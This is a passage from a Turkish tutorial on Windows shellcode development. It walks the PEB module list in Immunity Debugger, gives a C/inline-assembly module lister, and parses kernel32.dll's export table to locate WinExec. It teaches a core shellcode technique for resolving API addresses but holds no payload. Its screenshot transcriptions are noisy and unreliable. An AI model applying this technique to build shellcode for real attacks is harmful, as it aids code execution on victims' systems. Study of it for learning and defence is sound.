[12:16:15] Single step event at ntdll.775201B8 - use Shift+F7/F8/F9 to pass exception to pro	gran Paused

Bu adresinde üzerinde çift tıkladığımızda adres formatı tekrar offset formatına dönüşecek. Burada HEX "1c" adresinde başlatılma sırasına göre modül listesinin ilk bileşeninin adresini göreceğiz.

Burada yine veri alanının üzerinde sağ klikleyerek "Follow in Dump" dediğimizde modül bileşeniyle ilgili veri alanına ulaşacağız.

Immunity Debugger [CPU - main thread, module ntdl]	_ 0 <u></u>
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 8 ×
🗁 🇞 🗉 🔣 ፋ 🗙 🕨 🚻 🖬 👫 🕌 🕌 🚽 📲 🚽 📲 lem twh cPk bzrs? From INFILTRATE 2013 Stephen Watt's Keynote is up/	
775201B8 895C24 08 MOV DWORD PTR SS:[ESP+8],EBX • Registe	ers (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A EAX 004	01279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP] ECX 000	000000
775201C8 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP] EDX 000	00000
775201CF 90 NOP EBX 7EF	DE000
775201D0 8BD4 MOV EDX,ESP ESP 001	8FFF0
775201D2 0F34 SYSENTER EBP 000	00000
775201D4 C3 RETN ESI 000	00000
775201D5 8DA424 00000000 LEA ESP, DWORD PTR SS:[ESP]	00000
775201DC 806424 00 LEA ESP, WORD PTR SS:[ESP]	20188 ntd11,77520188
775201E0 8D5424 08 LEA EDX, DWORD PTR SS: [ESP+8]	
77520184 CD 28 INI 28 C 0 ES	002B 32bit 0(FFFFFFFF)
77520167 90 NOP	0023 32bit 0(FFFFFFF)
775201F8 0000 ADD BYTE DT9 DS+[FAY] AL	002B 32DIC 0(FFFFFFF)
775201EA 0000 ADD BYE PTR DS:[EAX].AL	0052 32bit 7EEDD000(EEE)
775201EC ^7D 9A JGE SHORT ntd11.77520188	0020 32bit (FFFDD000(FFF)
775201EE 1E PUSH DS 700	002B S2DIC 0(FFFFFFFF)
Address Value Comment 0018FFF0 00000000	
S ==> 00100030 0018FFF4 00401279 yi@. s. <moduleen< th=""><th>ntryPoint></th></moduleen<>	ntryPoint>
S+4 00000001 0018FFF8 00000000	
S+8 00000000	
\$+C 00534A48	
\$+10 00535708	
\$+14 00534A50	
\$+18 00535710	
\$+1C 00534AE8	
\$+20 1 00535718	
\$+24 00000000	
[12:16:15] Single step event at ntdll.??520188 - use Shift+F?/F8/F9 to pass exception to program	Paused

Yine ilk adres üzerinde çift tıklayalım. Gördüğünüz gibi HEX "20" offset'te modül adı görülüyor.

🖏 Immunity Debugger [CPU - main thread, module ntdll]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ <i>5</i> ×
🗀 🐎 🖫 🔣 📢 🗙 🕨 🖬 📢 👬 🕴 🕴 lem twh c Pkbzrs? From INFILTRATE 2013 Stephen Watt's Keynot	te is up!
775201B8 895C24 08 MOV DWORD PTR SS: [ESP+8], EBX	Registers (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A	EAX 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	ECX 0000000
775201CB 8DA424 00000000 LEA ESP, DWORD PTR SS:[ESP]	EDX 0000000
77520106 90 NOV EDV ECD	EBX 7EFDE000
775201D2 0E34 EVSENTER	ESP UUISFFFU
775201D4 C3 BETN	EBP 00000000
775201D5 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	EDT 00000000
775201DC 8D6424 00 LEA ESP, DWORD PTR SS: [ESP]	
775201E0 8D5424 08 LEA EDX, DWORD PTR SS: [ESP+8]	EIP //5201B8 ntd11.//5201B8
775201E4 CD 2E INT 2E	C 0 ES 002B 32bit 0(FFFFFFFF)
775201E6 C3 RETN	P 0 CS 0023 32bit 0(FFFFFFFF)
7/5201E/ 90 NOP	A 0 SS 002B 32bit 0(FFFFFFFF)
775201E8 0000 ADD BYTE PTK DS:[EAX], AL	Z 0 DS 002B 32bit 0(FFFFFFFF)
775201EC 7D 92	S 0 FS 0053 32bit /EFDD000(FFF)
775201EE 1E PUSH DS	T U GS UUZB 32DIC U(FFFFFFFF)
Address Value Comment ^ 0018FFF0 00000000	
S ==> 00534F80 ASCII "hNS" 0018FFF4 00401279 yi@. s	s. <moduleentrypoint></moduleentrypoint>
\$+4 7761021C ntdll.7761021C 0018FFF8 00000000	
\$+8 77510000 ntdll.77510000 0018FFFC 00000000	
\$+C 00000000	
\$+10 00180000	
S+18 UU534B68 UNICODE "C:\WINDOWS\SYSWOW64\Ntdl	
$S_{\pm 20} = 775558C4 \text{ INTCODE "ntdll dll"}$	
S+24 00004004	
* · · · · · · · · · · · · · · · · · · ·	
112:16:15J Single step event at ntd11.7/520188 - use Shift+F7/F8/F9 to pass exception to program	Paused

Burada görülen aslında modül adının tutulduğu alanın adresi. Bu veri üzerinde tekrar sağ klikleyerek "Follow in Dump" diyelim. Bu alana geldiğimizde veri gösterim şeklini Dump ekranı üzerinde sağ klikleyerek Text / Unicode'a dönüştürdüğümüzde modül adını göreceğiz. Immunity Debugger adresin bir veriye işaret ettiğini anlayacak kadar akıllı olduğundan bir önceki adımda adresin işaret ettiği veriyi de yanında gösterdi.

🗸 Immunity Debugger [CPU - main thread, module ntdl]]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 5 X
🗁 🐝 🗉 🔣 📢 🗙 🕨 🖬 📢 👬 🕌 łemtwh c Pkbzrs ? 🛛 From INFILTRATE 2013 Stephen Watt's Keynote	is upl
775201B8 895C24 08 MOV DWORD PTR SS: [ESP+8], EBX	* Registers (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A	EAX 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	ECX 0000000
775201c8 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	EDX 0000000
775201CF 90 NOP	EBX 7EFDE000
775201D0 8BD4 MOV EDX, ESP	ESP 0018FFF0
775201D2 0F34 SISENTER	EBP 00000000
77520105 903424 0000000 IFA FED DWORD DTP 55 [FCD]	ESI 00000000
775201DC 8D6424 0000000 LEA ESP DWORD DTR 53.[ESP]	EDI 0000000
775201E0 805424 08 LEA EDX. DWORD PTR SS: [ESP+8]	EIP 775201B8 ntdll.775201B8
775201E4 CD 2E INT 2E	C 0 ES 002B 32bit 0(FEFFFFFFFF)
775201E6 C3 RETN	P = 0 CS 0023 32bit 0 (FFFFFFFF)
775201E7 90 NOP	A 0 SS 002B 32bit 0(FFFFFFFF)
775201E8 0000 ADD BYTE PTR DS:[EAX],AL	Z 0 DS 002B 32bit 0(FFFFFFFF)
775201EA 0000 ADD BYTE PTR DS:[EAX],AL	S 0 FS 0053 32bit 7EFDD000(FFF)
775201EC ^7D 9A JGE SHORT ntdll.77520188	T 0 GS 002B 32bit 0(FFFFFFFF)
775201EE 1E PUSH DS	<u> </u>
Address UNICODE dump 0018FFF0 00000000	
77555BC4 ntdll.dll.fr麦腕\SYSTEM32\.递递譬唷[0018FFF4 00401279 yt@. s	. <moduleentrypoint></moduleentrypoint>
77555C04 ü噓念õ睡脾I點玻璃口賽號课撮!標>透蘆口ù麥[0018FFF8 00000000	
77555C44 口 jjV揾口氣。B 忿无怨避邁譬喻口諧P庱你jj模0018FFFC 00000000	
77555C84 - 一硪奀休啁A睡云「藿瑞褒·飯譽偉農謡」敵花錢祺	
77555CC4 3近福町3条米公口線 遙遙邊管噴口摑 ⁴ .評L語M簽芘@N	
//555D04 Δ買し設計接回し、登場処本理加速回転保留管約3受す	
7755504 (識別)。 1997年19月1日 1997年19月11日 1997年19月11日 1997年19月11日 1997年19月11日 1997年19月11日 1997年19月11月11日 1997年19月110月110月11月11日 1997年19月110月110月110月110月10月10月10月110月10月10月110月10月	
7/555D04 運転过援技力運動派型共力 波得超波得起起。 72555D04 8%の3b相目的 [24 曲目] 選擇自己了 14月1日	
7755554 방영·대한미페-대행·행정·행정리업 전 11월 12월 12월 12월 12월 12월 12월 12월 12월 12월	
	*
	•
[12:16:15] Single step event at ntdll.775201B8 - use Shift+F7/F8/F9 to pass exception to program	Paused

"-" tuşlarıyla tekrar ilk modül bileşeni veri alanına dönelim. Burada ilk alandaki veri zincir listedeki bir sonraki modüle işaret ediyor. Bu veri üzerinde sağ klikleyerek bu adrese gidelim. Gördüğünüz gibi zincirdeki bir sonraki modül ile ilgili verileri görebiliyoruz. Bu şekilde ilerleyerek bize ilk bileşenin adresini veren veri alanına ulaştığımızda zincirin tamamının üzerinden geçmiş oluruz.

🔩 Immunity Debugger	[CPU - main thread, module ntdl]
C File View Debug Plu	gins ImmLib Options Window Help Jobs
○ 3 □ E 4 × ▶ II	🖣 🙀 🤌 📙 🚽 📲 丨 e m t w h c P k b z r s ? SecuriTeam Secure Disclosure is looking for freelance vulnerability researchers. Turn your security research experience into a well-paid profession
775201B8 895C2	A 08 MOV DWORD PTR SS:[ESP+8],EBX A registers (FPU) <
775201BC E9 69	99D0200 JMP ntdll.77549F2A EAX 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA42	4 00000000 LEA ESP, DWORD PTR SS: [ESP] ECX 00000000
775201C8 8DA42	24 00000000 LEA ESP, DWORD PTR SS: [ESP] EDX 00000000
7752010F 90	NOP EBX 7EFDE000
775201D0 0ED4	NOV EDA, ESP ESP 0018FFF0
775201D4 C3	BETN BEST 0000000
775201D5 8DA42	24 0000000 LEA ESP, DWORD PTR SS: [ESP] EDI 0000000
775201DC 8D642	4 00 LEA ESP, DWORD PTR SS: [ESP]
775201E0 8D542	24 08 ¹⁰ LEA EDX, DWORD PTR SS:[ESP+8] EIP 775201B8 ntd11.775201B8
775201E4 CD 2E	C 0 ES 002B 32bit 0(FFFFFFF)
775201E6 C3	RETN P 0 CS 0023 32bit 0(FFFFFFF)
775201E7 90	NOP A 0 SS 002B 32bit 0(FFFFFFF)
775201E8 0000	ADD BYTE FIR DS:[EAX], AL Z 0 DS 002B 32bit 0 (FFFFFFF)
775201EC ^7D 94	ADD BILE FIR DS: [EAK], AL S 0 FS 0053 32Dit /EFDD000(FFF)
775201EE 1E	PUSH DS
Address Value	Comment 0018FFF0 00000000
00534F80 00534E	0018FFF4 00401279 y10. s. <moduleentrypoint></moduleentrypoint>
00534F84 00534A	NE8 0018FFF8 0000000
00534F88 75F600	000 KERNELBA.75F60000 0018FFFC 00000000
00534F8C 75F674	B1 KERNELBA. <moduleentrypoint></moduleentrypoint>
00534F90 000470	
00534F94 004600	44
00534F98 00534F	10 UNICODE "C: Windows/syswow64/KERN
00534F9C 001E00	JIC UNICODE "ZA" 28 UNICODE "ZA"
00534FA4 000840	10 A
[12:16:15] Single ste	pp event at ntd11.775201B8 - use Shift+F7/F8/F9 to pass exception to program Paused

Amacımıza, yani modül adresini bulmaya tekrar geri dönersek, bu zincir listenin içinde doğru bileşeni tespit ettiğimizde bu bileşen alanı içinde HEX "8" offset adresinde ilgili modülün başlangıç adresini görebiliriz.

S Immunity Debu	ugger [CP	U - main thread, r	module ntdll]										_ 0 _ X
C File View	Debug Plugins	ImmLib Optio	ons Window	Help Jobs									_ 5 ×
	4 × ▶ ↓	4 5 1 4 4	lem •	twhcpk	bzrs	? Immunity: Co	insulting Services Ma	inager					
775201B8	895C24	08	MOV DW	ORD PTR SS:	[ESP+8],EB	X			Regi	sters (F	PU)		<
775201BC	E9 699I	00200		dll.77549F2	A			_	EAX	00401279	s. <moduleent:< th=""><th>ryPoint></th><th>></th></moduleent:<>	ryPoint>	>
775201C1	8DA424	00000000	LEA ES	P, DWORD PTR	SS:[ESP]				ECX	00000000			
775201C8	8DA424	00000000	LEA ES	P, DWORD PTR	SS:[ESP]				EDX				
775201CF	90		NOP						EBX	7EFDE000			
775201D0	8BD4		MOV ED	X,ESP					ESP	0018FFF0			
775201D2	0F34		SYSENT	ER					EBP	00000000			
775201D4	C3		RETN						ESI	00000000			
77520105	8DA424	00000000	LEA ES.	P, DWORD PTR	SS:[ESP]				EDI	00000000			
775201DC	8D6424	00	LEA ES	P, DWORD PTR	SS:[ESP]				EIP	775201B8	ntdl1.7752011	B8	
775201E0	6D5424		LEA ED.	X, DWORD PTR	55:[E5P+0								
775201E4	CD ZE		DELNI SE						C 0	ES 002B	32bit 0(FFFF	FFFF)	
775201E7	90		NOD						PO	CS 0023	32DIT U(FFFF	E.E.E.E.)	
775201E8	0000		ADD BY	TE PTE DS.	EAXI AT.				A U	SS 002B	32DIU U(FFFF)	EFFE)	
775201EA	0000		ADD BY	TE PTR DS:[EAX1.AT.				2 0	DS 002B	32DIL U(FFFF)	CC(FFF)	
775201EC	^7D 9A		JGE SH	ORT ntdll.7	7520188				T 0	CS 002B	32bit 0(FFFF	FFFF)	
775201EE	1E		PUSH D	S					D O		JEDIC U(PPPP)	erer)	
Address	Value	Comment			*	0018FFF0	00000000						· .
S ==>	00534E68	3	19			0018FFF4	00401279	y10. s	<modul< th=""><th>leEntryPo</th><th>int></th><th></th><th></th></modul<>	leEntryPo	int>		
\$+4	00534AE8					0018FFF8							
\$+8	75F60000	KERNELB	A.75F60	000		0018FFFC	00000000						
Ş+C	75F674B1	KERNELB	A. <modu< th=""><th>leEntryPoin</th><th>t></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></modu<>	leEntryPoin	t>								
\$ +1 0	00047000												
\$+14	00460044	1											
\$+18	00534F10) UNICODE	"C:\Wi	ndows\syswo	w64\KERN								
\$+1C	001E0010	C UNICODE	"ZA"										
\$+20	00534F38	3 UNICODE	"KERNE	LBASE.dll"									
\$+24	00084004	1			-								-
													•
[12:16:15] \$	ingle step	event at ntd	111.7752011	38 - use Shift+	F7/F8/F9 to pas	ss exception	to program						Paused

Aynı işlemi bir uygulama aracılığı ile de yapabiliriz. Bu uygulama tabi sadece kendi modüllerinin adlarını bize listeleyecek ki fazla bir modül yüklemediğini göreceğiz.

```
1. #include <stdio.h>
2.
3. int main()
4. {
5.
        char *modulAdi;
6.
       int ilkAdres;
7.
       int flink;
8.
       __asm {
9.
10.
            pushad
                mov esi, fs:[0x30]; PEB adresi
11.
12.
                mov esi, [esi + 0x0c]; PEB LOADER DATA adresi
13.
                mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç
   adresi
14.
                mov ilkAdres, esi; ilk liste bileşeninin adresi
15.
                mov ecx, [esi]
                mov flink, ecx; ilk liste bileşeninin flink değeri
16.
17.
                mov ebx, [esi + 0x20]; ebx = InInitOrder[0].module_name(unicode)
18.
                mov modulAdi, ebx; Modül adının adresi
                popad
19.
20.
       }
       while (flink != ilkAdres){ //son bileşenin flink değeri PEB-
21.
   >Ldr.InInitOrder List Entry veri yapısına işaret eder
22.
            wprintf(L"%s\n", modulAdi);
23.
             _asm {
24.
                pushad
25.
                    mov esi, [flink]; Bir sonraki liste bileşeninin adresi
26.
                    mov ecx, [esi]; Bir sonraki liste bileşeninin flink değeri
27.
                    mov flink, ecx
28.
                    mov ebx, [esi + 0x20]; Modül adı(unicode formatında)
29.
                    mov modulAdi, ebx; Modül adının adresi
30.
                    popad
31.
            }
32.
       }
33.
        getchar();
34.}
```

ModulListele.c

Uygulamanın birinci inline assembly bölümünde amacımız başlatılma sırasına göre ilk modülün adı ve adresini bulmak.

İkinci inline assembly bölümünde ise zincir listeyi takip ederek listenin başına dönünceye kadar tüm modüllerin adları ve adreslerine ulaşıyoruz.

İlk adımda FS register'ının HEX 30 offset'inde Process Environment Block alanının adresini ESI register'ına aktarıyoruz.

PEB'in HEX Oc offset'inde bulunan adresi yani PEB_LOADER_DATA yapısının adresini ESI register'ına aktarıyoruz.

PEB_LOADER_DATA veri yapısının HEX 1C offset'inde başlatılma sırasına göre modüllerle ilgili meta veri yapıları zincirinin ilk halkasının adresi bulunmaktadır. İlk bileşenin adresini zinciri tamamladığımızı tespit etmek amacıyla bir C değişkenine kaydediyoruz.

Daha sonra ilk liste bileşeninin adresine geçiyoruz. Bu veri yapısının HEX 20 offset'inde modül adının UNICODE formatında tutulduğu alanın adresi bulunuyor. C uygulamamızla bu adı yazdırmak için modül adının adresini modulAdi C değişkenine aktarıyoruz.

İlk inline assembly bölümü tamamlandıktan sonra bir döngünün içinde tüm zinciri tamamlayarak modül adlarını standart output'a yazıyoruz.

Modu Y3 r. FILE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP 0 - 0 1 P 9 - C 11 . 0 78 - ta C:\ESG\M Pro listesinin başlangıç adresi flink, ecx; ilk liste bileşeninin flink değer: mov ebx, [esi + 0x20]; ebx = InInitOrder[0].module_name(unicode) mov modulAdi, ebx; Modül adının adresi popad No data available

Şimdi uygulamamızı derleyelim ve uygulamanın son satırına breakpoint koyarak çalıştıralım.

Gördüğünüz gibi bu basit uygulamanın hafıza alanında yüklü modül isimleri ekrandakilerden oluşuyor.

VI. FONKSİYON ADRESİNİN BULUNMASI

Modülün başlangıç adresini elde etmek ve saklamak için assembly kodumuzu geliştireceğiz. Ancak bundan önce bir problemimiz daha var. Modül içinde kullanmak istediğimiz fonksiyonun adresini de bulmalıyız.

Bir modülün içindeki belli bir fonksiyonun adresini bulmak istediğimizde hangi yolu izleyebileceğimizi PEView üzerinden Kernel32.dll dosyası üzerinde inceleyelim.

	And And Annual Composition of Conditional Composition of Conditional Composition of Conditional Composition of Conditional Composition of Conditional Composition of Conditional Composition of Conditional Condit	
PEview - C:\Windows\System32\kernel32.dll		
File View Go Help		
komol32 dll	nView Data Value	
IMAGE DOS HEADER	00000000 4D 5A 90 00 03 00 00 00 04 00 00 00 FE FE 00 00 MZ	â
MS-DOS Stub Program		
IMAGE NT HEADERS		
-IMAGE SECTION HEADER text	00000030 00 00 00 00 00 00 00 00 00 00 0	
- IMAGE SECTION HEADER data	00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68	
-IMAGE SECTION HEADER .rsrc	00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno	
-IMAGE SECTION HEADER .reloc	00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS	
B SECTION .text	00000070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 mode\$	
- SECTION .data	00000080 09 67 18 F6 4D 06 76 A5 4D 06 76 A5 4D 06 76 A5 .g. M. v. M. v. M. v.	
B- SECTION .rsrc	00000090 44 7E E5 A5 7C 06 76 A5 4D 06 77 A5 3E 05 76 A5 D~	
SECTION .reloc	000000A0 44 7E E4 A5 4C 06 76 A5 44 7E E3 A5 45 06 76 A5 D~L.v.D~E.v.	
	000000B0 44 7E F5 A5 B1 06 76 A5 44 7E F2 A5 AE 06 76 A5 D~v.D~v.	
	000000C0 44 7E E2 A5 4C 06 76 A5 44 7E E7 A5 4C 06 76 A5 D~L.v.D~L.v.	
	000000D0 52 69 63 68 4D 06 76 A5 00 00 00 00 00 00 00 00 RichM.v	
	000000E0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00	
	000000F0 85 9A 15 53 00 00 00 00 00 00 00 00 E0 00 02 21S!	
	00000100 0B 01 09 00 00 00 0D 00 00 03 00 00 00 00 00 00	
	00000110 93 32 01 00 00 00 01 00 00 00 00 00 00 00 06 7D 2	
	00000120 00 00 01 00 00 01 00 06 00 01 00 06 00 01 00	
		l.
	00000140 AE 05 11 00 03 00 40 01 00 00 04 00 00 10 00 00@	50
	00000160 70 FF 0B 00 B1 A9 00 00 24 A9 0C 00 F4 01 00 00 p\$	
	000001E0 2E 74 65 78 74 00 00 00 96 07 0C 00 00 01 00 text	
	000001F0 00 00 0D 00 00 00 01 00 00 00 00 00 00 00 00 00	
	00000200 00 00 00 00 20 00 00 60 2E 64 61 74 61 00 00 00	
	00000210 OC 10 00 00 00 00 0E 00 00 00 01 00 00 0E 00	
Viewing kernel32.dll		

Kernel32.dll dosyası içinde arayacağımız adres, WinExec fonksiyonunun adresi. Şu anda Kernel32.dll'in disk üzerindeki imajına bakacağız. Ancak izleyeceğimiz yol bu modül hafızaya yüklendiğinde de geçerli olacak. Sadece imaj üzerindeki adresler RVA, yani Relative Virtual Address'ler olacağı için kullanacağımız referanslara modülün hafızaya yüklendiği başlangıç adresini ekleme ihtiyacımız olacak.

PEview - C:\Windows\System32\kernel32.dll	-	-		and the second second	
<u>File View Go</u> <u>H</u> elp					
🔁 🔾 😋 🕲 🕲 🕲 🔁 🖿 📼 🚥	2				
⊨ kernel32.dll — IMAGE_DOS_HEADER	pView 00000000	Data 5A4D	Description Signature	Value IMAGE_DOS_SIGNATURE MZ	
MS-DOS Stub Program MAGE_NT_HEADERS	00000002	0090	Bytes on Last Page of File Pages in File		
IMAGE_SECTION_HEADER .text IMAGE_SECTION_HEADER .data	00000006	0000 0004	Relocations Size of Header in Paragraphs		
IMAGE_SECTION_HEADER .rsrc IMAGE_SECTION_HEADER .reloc	0000000A 0000000C	0000 FFFF	Minimum Extra Paragraphs Maximum Extra Paragraphs		
SECTION .text	0000000E 00000010	0000 00B8	Initial (relative) SS Initial SP		
SECTION .rsrc SECTION .reloc	00000012 00000014	0000	Checksum Initial IP		
	00000016 00000018	0000	Initial (relative) CS Offset to Relocation Table		
	0000001A 0000001C	0000	Overlay Number Reserved		
	0000001E 00000020	0000	Reserved Reserved		
	00000022 00000024	0000	Reserved OEM Identifier		
	00000026	0000	OEM Information Reserved		
	0000002A 0000002C	0000	Reserved Reserved		
	0000002E	0000	Reserved Reserved		
	00000032	0000	Reserved		
	00000036	0000	Reserved		
	0000003A	0000	Reserved Offset to New EVE Hander		
	0000030	00000000	b)		
Viewing IMAGE_DOS_HEADER					

İlk olarak IMAGE_DOS_HEADER alanında HEX "3C" offset adresinde IMAGE_NT_HEADERS alanının RVA değerini bulalım. Kernel32.dll için bu değerin HEX "E8" olduğunu görüyoruz.

	-		Spot Spinster, S	as heading the second second second	- • • • × •
PEview - C:\Windows\System32\kernel32.dll		-		The second second second second second second second second second second second second second second second se	_ 6 <mark>_ X</mark> _
File View Go Help					
	pView	Data	Description	Value	*
-IMAGE_DOS_HEADER	0000001C	7DD60000	Image Base		
- MS-DOS Stub Program	00000020	00010000	Section Alignment		
IMAGE_NT_HEADERS	00000024	00010000	File Alignment		
- Signature	00000028	0006	Major O/S Version		
- IMAGE_FILE_HEADER	0000002A	0001	Minor O/S Version		
- IMAGE_OPTIONAL_HEADER	0000002C	0006	Major Image Version		
-IMAGE_SECTION_HEADER .text	0000002E	0001	Minor Image Version		
IMAGE_SECTION_HEADER .data	00000030	0006	Major Subsystem Version		
- IMAGE_SECTION_HEADER .rsrc	00000032	0001	Minor Subsystem Version		
-IMAGE_SECTION_HEADER .reloc	00000034	00000000	Win32 Version Value		
SECTION .text	00000038	00110000	Size of Image		
- SECTION .data	0000003C	00010000	Size of Headers		
SECTION .rsrc	00000040	001105AE	Checksum		
SECTION .reloc	00000044	0003	Subsystem	IMAGE_SUBSYSTEM_WINDOWS_CUI	E
	00000046	0140	DLL Characteristics	ILLOS DU QUIDADTERIOTOR DUNINA DAOS	
			0040	IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE	
	00000040	00040000	0100	IMAGE_DLLCHARACTERISTICS_NX_COMPAT	
	00000048	00040000	Size of Stack Reserve		
	00000040	00001000	Size of Stack Commit		
	00000050	00100000	Size of Heap Reserve		
	00000054	00001000	Size of Heap Commit		
	00000056	00000000	Loader Flags		
	00000050	00000010	Number of Data Directories	EVDODT T-N-	
	00000064	000000981	cia ^m)		
	00000068	00004301	R\/A	IMPORT Table	
	00000060	000001F4	Size		
	00000070	000F0000	RVA	RESOURCE Table	
	00000074	00000528	Size		
	00000078	00000000	RVA	EXCEPTION Table	
	0000007C	00000000	Size		
	00000080	00000000	Offset	CERTIFICATE Table	
	00000084	00000000	Size		
	00000088	00100000	RVA	BASE RELOCATION Table	
	1 0000080	0000000	Siza		-
Viewing IMAGE_OPTIONAL_HEADER					

PEView bizim için parsing işini zaten yapıyor, ancak biz programatik olarak ilerliyormuş gibi ipuçlarını sırasıyla izleyelim. IMAGE_NT_HEADERS alanında "Signature" alanı 4 byte, IMAGE_FILE_HEADER alanı HEX 14 byte yer kaplıyor. IMAGE_OPTIONAL_HEADER alanında EXPORT Table alanının başlangıcı HEX 60 byte'lik bir mesafede yer alıyor. Dolayısıyla EXPORT Tablosunun adresi IMAGE_NT_HEADERS alanı içinde HEX "4+14+60" yani HEX 78 byte'lik bir offset'te yer alıyor.

EXPORT Tablosunun RVA'ini, yani "BFF70" adresini, kullanarak IMAGE_EXPORT_DIRECTORY'ye ulaşıyoruz. Burada adresleri RVA formatında izlersek bu alanın doğru adres olduğundan da emin

olabiliriz. Bu alanda HEX "20" offset adresinde fonksiyon adreslerinin pointer'larının tutulduğu alanın başlangıç adresine ulaşabiliriz.

PEview - C:\Windows\System32\kernel32.dll				and the second se	10 M	
<u>File View Go</u> <u>H</u> elp						
🔁 🔾 😋 🖓 💿 💌 🔝 🔹 🔚 📼 🚥 📼						
Image Description Image Description <	pView 0000000 0000008 0000000 00000000 000000	Data 0000000 53158AB2 0000 000054E0 00000554 00000554 0000554 0000554 0000554 00005748 00005748	Description Characteristics Time Date Stamp Major Version Minor Version Name RVA Ordinal Base Number of Inanes Address Table RVA Name Pontor Table RVA Ordinal Table RVA	Value 2014/03/04 Sal 08:11:30 UTC KERNEL 32 dil		
Viewing IMAGE_EXPORT_DIRECTORY						

Fonksiyon adlarının (adreslerinin değil) pointer'larının tutulduğu alan EXPORT Name Pointer Table alanı ve bu alanın RVA değerini PEView'dan teyit edebiliriz. PEView bizim için bu pointer'ların RVA adresleri ile işaret ettiği alanlarda bulunan isim bilgilerini bizim için listeliyor. Bizim shellcode'umuzda bu işi kendimiz yapmamız gerekecek. Gözle WinExec fonksiyonunu aradığımızda listenin alt kısımlarında fonksiyon adını görüyoruz. Bu fonksiyonun adresini bulmak için şu yolu izlememiz lazım. Öncelikle aradığımız fonksiyonun isminin Name pointer tablosu'ndaki sırasını tespit etmeliyiz. Fonksiyon ismimizin pointer'ı bu bölüm içinde HEX 145C offset'te bulunuyor. Bu bölümdeki her bir pointer verisi 4 byte olduğuna göre pointer'ın sırası 145C / 4 = HEX A2E'dir.

Pickew - C.Windows/System32.kemel32.dll File View Co. Help Image: Solution of the second	Data IC 0000298D9 20 0000298EF 24 0000298FB 28 00002990B 20 0000293FB 30 00002936B 38 000029362	Description Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	Value 0508 WarGordtionVariable -> NTDLL.RttWakeConditionVariable 0509 WarGortFlags 050A WorRegister/File 050B WorRegister/RutimeExceptionModule	
Ele Yew Go Help Image: Angle Angl	Data 1C 000C98D9 20 000C98EF 24 000C99E 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C990B 20 000C9944 34 000C9950 38 000C9952	Description Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	Value 0508 WakeConditionVariable -> NTDLL.RtIWakeConditionVariable 0509 WerGerFlags 050A WerRegisterfile 050B WerRegisterfilemoryBlock 050C WerRegisterfilemoryBlock	
Image: Section Header Stable Image: Section Header Stable Image: Section Header Stable Op/Section Stable - MAGE: DOS, HEADER 00014 00014 00014 - MAGE: DOS, HEADER 00014 00014 00014 - MAGE: NT, HEADER 00014 00014 00014 - MAGE: FILE, HEADER 00014 00014 00014 - MAGE: SECTION, HEADER 000014 00014 - MAGE: SECTION, HEADER text 000014 000014 - MAGE: SECTION, HEADER reloc 000014 000014 - MAGE: SECTION, HEADER reloc 000014 000014 - MAGE: SECTION, HEADER reloc 000014 000014 - MAGE: DAD, CONFIG_DIRECTORY 000014 000014 - IMAGE: LAD, CONFIG_DIRECTORY 000014 000014	Data 1C 000C98D9 20 000C98EF 24 000C996B 25 000C990B 26 000C9922 30 000C9944 34 000C9950 38 000C9962	Description Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	Value 0508 WakeConditionVariable → NTDLL.RtlWakeConditionVariable 0509 WerGetFlags 050A WerRegisterFile 050B WerRegisterFile 050C WerRegisterFilentimeExceptionModule	
Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification (Construction) Identification) Identification (Construction) Identification) Identification (Construction) Identification) Identification (Construction) Identification) Identification (Construction) Identification) <td>Data 1C 000C98D9 20 000C98EF 24 000C998E 28 000C990B 20 000C9922 30 000C9924 34 000C9950 38 000C9952</td> <td>Description Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA</td> <td>Value 0508 WerCertFlags 0509 WerCertFlags 050A WerRegisterFile 050B WerRegisterFile 050B WerRegisterFilerimeExceptionModule</td> <td></td>	Data 1C 000C98D9 20 000C98EF 24 000C998E 28 000C990B 20 000C9922 30 000C9924 34 000C9950 38 000C9952	Description Function Name RVA Function Name RVA Function Name RVA Function Name RVA Function Name RVA	Value 0508 WerCertFlags 0509 WerCertFlags 050A WerRegisterFile 050B WerRegisterFile 050B WerRegisterFilerimeExceptionModule	
